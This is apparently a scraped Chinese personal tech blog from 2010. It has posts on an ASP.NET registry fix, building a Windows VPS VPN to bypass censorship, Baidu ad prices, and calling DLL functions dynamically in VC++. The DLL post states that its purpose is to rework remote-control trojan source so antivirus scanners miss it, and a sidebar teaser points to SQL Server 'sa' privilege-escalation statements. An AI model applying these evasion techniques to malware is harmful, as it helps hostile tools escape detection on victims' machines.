1.如果网站程序不需要ASP.NET 4‎.0 的支持，那么可以直接配置网站使用ASP.NET 2.0。

2.如果网站程序需要ASP.NET 4‎.0的支持，就需要将该网站下使用ASP.NET 2.0的虚拟目录移动到其他网站。

3.如果上面两种方法都不适用于你的实际情况，那么就只能用这种方法了：

打开注册表找到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ASP.NET\4.0.30319.0”，添加键值名为“EnableExtensionlessUrls” 类型为“DWORD”的键值，并设置值为“0”。然后在cmd中运行“IISRESET”，重启IIS以读取注册表修改后的内容。注：此项修改就是关闭ASP.NET 4‎.0对无扩展URL的处理，若将此项键值设为“1”则开启。

如何用Windows VPS搭建翻墙VPN

dev — Thu, 29 Apr 2010 16:42:06 +0800

最近从Photonvps.com 租了一台windows主机用来测试网站，512MB的内存，35GB的硬盘空间，每个月500GB的流量和2个独立IP地址。我感觉价格偏贵，不过售后服务还是蛮不错的，每次提交的ticket很快就会得到回复。

既然有两个IP当然不能浪费了，干脆做个windows VPN用来翻墙。下面详细图文介绍如何用Windows VPS搭建翻墙VPN服务器。首先我们要保证vpn起用的条件,”一停四开”：
1.停止window自带的防火墙(windows firewall/internet connection sharing (ICS)服务
2.远程注册表服务（Remote Registry)必须开启
3.server服务 (Server)必须开启
4.route路由服务(Routing and Remote Access)必须开启
5.Workstation 服务必须开启
如果服务器是默认配置的情况下，只需要关闭防火墙就并设置启动方式为禁用。然后在管理工具中打开“路由和远程访问”在列出的本地服务器上点击右键，选择“配置并启用路由和远程访问”。

由于Windows VPS服务器是公网上的一台一般的服务器，不是具有路由功能的服务器，是单网卡的，所以这里选择“自定义配置”。这里选“VPN访问”和“NAT/基本防火墙”。下一步，配置向导完成。

点击“是”，开始服务。看启动了VPN服务后，“路由和远程访问”的界面下面开始配置VPN服务器,在服务器上点击右键，选择 “属性”，在弹出的窗口中选择“IP”标签，在“IP地址指派”中选择“静态地址池”。

然后点击“添加”按钮设置IP地址范围，这个IP范围就是VPN局域网内部的虚拟IP地址范围，每个拨入到VPN的服务器都会分配到一个范围内的IP，在虚拟局域网中用这个IP相互访问。这里设置为 10.10.10.1-10.10.10.10，一共10个IP，默认的VPN服务器占用第一个IP，所以，10.10.10.1实际上就是这个VPN服务器在虚拟局域网的IP。
每个客户端拨入VPN服务器都需要有一个帐号，默认是 windows身份验证，所以要给每个需要拨入到VPN的客户端设置一个用户，并为这个用户制定一个固定的内部虚拟IP以便客户端之间相互访问。在管理工具中的计算机管理里添加用户，这里以添加一个vpnuser用户为例：先新建一个叫“vpnuser”的用户，创建好后，查看这个用户的属性，在“拨入”标签中做相应的设置，如图：

远程访问权限设置为“允许访问”，以允许这个用户通过VPN拨入服务器。点选“分配静态IP地址”，并设置一个VPN服务器中静态IP池范围内的一个IP地址，这里设为10.10.10.10 。如果有多个客户端机器要接入VPN，请给每个客户端都新建一个用户，并设定一个虚拟IP地址，各个客户端都使用分配给自己的用户拨入VPN，这样各个客户端每次拨入VPN后都会得到相同的IP。如果用户没设置为“分配静态IP地址”，客户端每次拨入到VPN，VPN服务器会随机给这个客户端分配一个范围内的IP。

至此，客户端就可以直接通过windows连接向导连接VPN服务器了，但是服务器还没有完全配置完，这里需要特别说明一下：我们搭建VPN服务器的目的是翻墙，而不是访问服务器所在的内网。如果仅仅是为了访问内网资源而搭建VPN请看《windows2003架设VPN穿越Juniper防火墙设置步骤》这篇文章介绍了用Windows2003搭建VPN需要注意的细节及通过VPN跨网段访问内网资源的设置。

再回到路由和远程控制，找到“NAT/基本防火墙”右键点击新建接口并选择本地区域链接。如图：

在NAT/基本防火墙设置中选择公共接口链接到Internet，并在这个接口上启用NAT。如图：

选择IP地址池选项卡，将ISP也就是你的主机供应商分配给的公网IP地址添上。如图：

为了维护起来方便，我们可以将VPN用户名和IP绑定起来，也就说每个用户连接VPN会分到固定的IP地址，点击预留IP将公网IP和私有IP进行绑定，我刚刚建立了一个vpnuser的用户并给此用户分配了私有IP：10.10.10.10 那么我就把这个私有IP绑定在多余的IP地址上。如图：

OK！到这里VPN就配置完成了。尽情享受翻墙的乐趣吧！

百度全面切换凤巢后关键词价格暴涨八倍

dev — Mon, 12 Apr 2010 15:18:33 +0800

今日凌晨消息，百度将其广告系统由竞价排名全面切换为“凤巢”。凤巢系统搜索结果每页的广告数量减少，这造成了热门关键词的价格暴涨。业内专业公司的监测数据显示，游戏行业的热门关键词价格最高已上涨了八倍。这对百度的业绩有非常正面的影响。

总部位于北京的搜索引擎营销(SEM)公司艾德思奇(adSage)开发的SEM软件AFS软件可以几乎实时监测搜索关键词，10秒钟即可监测一次并对数万个关键词自动出价；AdSage公司有300余家客户，且均为年投放额数百万元的大客户(百度09年平均每个客户投放14000元)，因此它们对百度关键词的总体价格变动情况有第一手的信息。

adSage高级副总裁雷鹏，4月10日(上周六)在厦门出席“2010年赢时代全球搜索引擎营销大会的间隙向网易科技透露，根据他们的监测，百度关键词的价格在切换为凤巢后，出现了上涨，游戏行业的热门关键词最高已经上涨了八倍，房地产行业也上涨较快，总体而言，热门关键词都有涨价。

百度在去年12月1月全面切换了改善用户搜索体验的凤巢，对搜索页面的广告数量进行了压缩，业内此前已经预测到热门关键词的价格会出现上涨，不过，其上涨速度还是让一些广告主及业内人士感到意外。

雷鹏说，尽管关键词价格出现了上涨，但由于新系统具备更高的精准性，广告的转化率也相应提高，所以广告主的投资回报率(ROI)目前并没有出现下降，甚至有的广告主的ROI还在提高，所以广告主并未缩减投放计划。

百度关键词价格的提高，对百度的业绩是个好消息。此前，对于切换凤巢对业绩的影响，百度高层在2月10日的第四季度财报电话会议上对分析师的表态是，当时“很难预计”。

VC 动态调用DLL导出函数例子

dev — Sun, 11 Apr 2010 22:40:20 +0800

最近研究了一份远程控制的源码，远程控制的软件通常会造杀毒软件的追杀，但是通过改写源代码可以躲避杀毒软件的查杀。

一般的杀毒软件会通过定位文件的特征码来确定是不是病毒，这些特征码很容修改，而一些高启发式的杀毒软件会查杀远程控制软件的导出表，这就需要程序动态调用DLL导出函数。

下面是两种动态调用DLL导出函数的方法，可以直接照猫画虎来动态调用各种DLL导出函数。

动态调用DLL函数对程序的运行没有任何影响，除了会增大程序的体积。通过Winhex等软件可以看到动态调用DLL导出函数的程序中的API函数都显示在字符串中。

typedef UINT (WINAPI *GetSystemDirectoryAT)
 
 (
	OUT LPSTR lpBuffer,
	IN UINT uSize
    );
GetSystemDirectoryAT pGetSystemDirectoryA= (GetSystemDirectoryAT)GetProcAddress(LoadLibrary("kernel32.dll"),"GetSystemDirectoryA");
 
 
 
#ifdef UNICODE
#define API_GetSystemDirectory  GetSystemDirectoryW
#else
#define API_GetSystemDirectory  GetSystemDirectoryA
#endif // !UNICODE
 
UINT API_GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
{
UINT result;
typedef UINT (WINAPI *lpAddFun)(LPSTR,UINT);
HINSTANCE hDll=LoadLibrary("kernel32.dll");
lpAddFun addFun=(lpAddFun)GetProcAddress(hDll,"GetSystemDirectoryA");
if (addFun != NULL)
	{
	addFun(lpBuffer,uSize);	
	FreeLibrary(hDll);	
	}
return result;
}
 
UINT API_GetSystemDirectoryW(LPSTR lpBuffer,UINT uSize)
{
UINT result;
typedef UINT (WINAPI *lpAddFun)(LPSTR,UINT);
HINSTANCE hDll=LoadLibrary("kernel32.dll");
lpAddFun addFun=(lpAddFun)GetProcAddress(hDll,"GetSystemDirectoryW");
if (addFun != NULL)
	{
	addFun(lpBuffer,uSize);
	FreeLibrary(hDll);
	}
return result;
}

奋斗 Blog

如何批量添加域用户

相关日志

赤脚神偷哈里斯穆尔落网

相关日志

谷歌宣布Google Voice免费开放

相关日志

台湾教授的良知，让大陆还有地自容吗？（转载）

相关日志

既然属于天空，就努力挥动翅膀吧！

相关日志

Sa提权sql语句大全

从网上收集了Sa提权用到的sql语句，在Sa提权过程中结合实际情况来使用吧。

命令不能执行或权限不足请参考如下提权方法：

开启数据库沙盘模式

Microsoft SQL Server2005在默认情况下，一些存储过程是关闭着的，需要命令打开：

相关日志

ASP.NET 4‎.0 生成 eurl.axd Http异常错误的处理方法

相关日志

如何用Windows VPS搭建翻墙VPN

相关日志

百度全面切换凤巢后关键词价格暴涨八倍

相关日志

VC 动态调用DLL导出函数例子

相关日志